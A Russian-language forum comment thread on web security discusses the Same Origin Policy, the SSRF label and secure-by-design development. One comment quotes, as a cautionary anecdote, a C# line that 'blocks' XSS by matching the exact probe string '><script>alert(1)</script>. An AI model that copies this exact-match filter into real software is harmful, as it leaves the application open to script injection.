      Да речь именно об этом. Хотя я опрометчиво и перевел это на русский язык (был неправ, каюсь и т.п.), но с момента появления первой из политик, оно всегда так и называлось: same origin policy.

      И это название придумали разработчики, если что ;)
      • НЛО прилетело и опубликовало эту надпись здесь
        • 0
          Так эти названия вводит W3C. SOP: www.w3.org/TR/cors/ и www.w3.org/Security/wiki/Same_Origin_Policy, понятия «origin» и «cross-origin» упоминаются в стандарте HTML5, как минимум. Разработчики, ни разу не бывавшие на w3.org конечно существуют, но это скорее их недостаток, как профессионалов, чем всего консорциума. Кроме того, все части code.google.com/p/browsersec/wiki/Part2 — must read для всех разработчиков, кому небезралична защищенность клиент-сайда разрабатываемых ими приложений. А раз не знают, что такое SOP, значит они это просто не читали =/

          Что касается SSRF, то я, как не видел раньше, так и не вижу сейчас каких-либо рациональных причин для того, чтобы вводить эту аббревиатуру в классификацию и обиход. И SSRF, кстати, отличный пример того, что разработчику стоит концентрироваться на защите от уязвимостей, вместо противодействия атакам, чтобы иметь на выходе защищенное приложение. Буду подробно, долго и мучительно рассказывать об этом на PHDays)
          • НЛО прилетело и опубликовало эту надпись здесь
            • НЛО прилетело и опубликовало эту надпись здесь
            • 0
              В общем случае, что такое атака — разработчик тоже толком не знает. Сам, своими глазами, однажды наблюдал за тем, как XSS была «исправлена» кодом типа:
              if (Request.Params["a"].Contains("'><script>alert(1)</script>")) // Deny XSS =/
              Суть в том, разработчик мыслит иными категориями, нежели атакующий, либо защищающий. На первом месте у него функционал системы и вводить лишние сущности в программерский образ мышления без особой надобности не стоит. Попытка уложить в голове все возможные атаки и все их возможные векторы, вкупе с необходимостью постоянно сверять с ними код, сделает человека скорее моим коллегой, чем разработчиком, которому все еще интересно заниматься написанием кода :) Я как-то проводил среди разработчиков на RSDN мини-опрос об их осведомленности в плане атак. Результаты даже не хочется комментировать: www.rsdn.ru/poll/3488

              Однако, можно построить работу разработчика таким образом, что по факту кодирование функционала системы будет направлено также и на противодействие уязвимостям. При том, что сам разработчик об этом даже может не подозревать. Уязвимость — контролируемая третьей стороной способность системы, представленной в виде автомата, переходить в состояние, не предусмотренное функциональными требованиями к системе. Следовательно, борьбу с уявзимостями можно сформулировать в терминах конкретных требований к способам и подходам реализации тех или иных функциональных требований таким образом, чтобы на выходе получался защищенный код by-design-and-process). Собственно, этому и будет посвящена моя hands-on-lab.
              • НЛО прилетело и опубликовало эту надпись здесь

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.

Самое читаемое Разработка